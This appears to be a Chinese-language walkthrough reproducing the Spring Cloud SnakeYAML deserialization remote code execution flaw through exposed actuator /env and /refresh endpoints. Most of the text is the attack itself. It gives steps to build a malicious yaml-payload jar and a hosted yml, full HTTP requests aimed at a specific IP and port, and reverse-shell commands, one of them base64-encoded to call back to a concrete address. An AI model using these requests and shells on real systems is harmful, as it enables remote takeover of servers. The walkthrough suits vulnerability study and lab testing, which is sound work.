0x01 漏洞原理
- spring.cloud.bootstrap.location 屬性被設置爲外部惡意 yml 文件 URL 地址
- refresh 觸發目標機器請求遠程 HTTP 服務器上的 yml 文件,獲得其內容
- SnakeYAML 由於存在反序列化漏洞,所以解析惡意 yml 內容時會完成指定的動作
- 先是觸發 java.net.URL 去拉取遠程 HTTP 服務器上的惡意 jar 文件
- 然後是尋找 jar 文件中實現 javax.script.ScriptEngineFactory 接口的類並實例化
- 實例化類時執行惡意代碼,造成 RCE 漏洞
0x02 利用條件
- 可以 POST 請求目標網站的
/env
接口設置屬性 - 可以 POST 請求目標網站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依賴) - 目標依賴的
spring-cloud-starter
版本 < 1.3.0.RELEASE - 目標可以請求攻擊者的 HTTP 服務器(請求可出外網)
0x03 漏洞復現
1、拉取漏洞環境(repository/springcloud-snakeyaml-rce),運行環境,推薦在docker下運行。
//拉取
git clone https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springcloud-snakeyaml-rce
//運行
mvn install
mvn spring-boot:run
2、訪問目標url。搭建成功。
3、自定義命令,編譯java文件,生成jar文件。(詳細:https://github.com/artsploit/yaml-payload)
git clone https://github.com/artsploit/yaml-payload.git
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
4、新建example.yml文件,編輯圖中內容。將yaml-payload.jar文件和example.yml文件拷貝到相同目錄下。並使用python開啓80端口的web服務。
5、設置 spring.cloud.bootstrap.location 屬性
spring 1.x
POST /env HTTP/1.1
Host: 140.143.30.49:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
spring.cloud.bootstrap.location=http://you-vps-ip/example.yml
刷新配置。
POST /refresh HTTP/1.1
Host: 140.143.30.49:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
5、命令成功執行。
6、反彈shell
bash -i >& /dev/tcp/ip/53 0>&1
命令轉換網站(https://x.hacking8.com/?post=293)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzUuMjEyLjExOC81MyAwPiYx}|{base64,-d}|{bash,-i}
0x04 參考
https://github.com/LandGrey/SpringBootVulExploit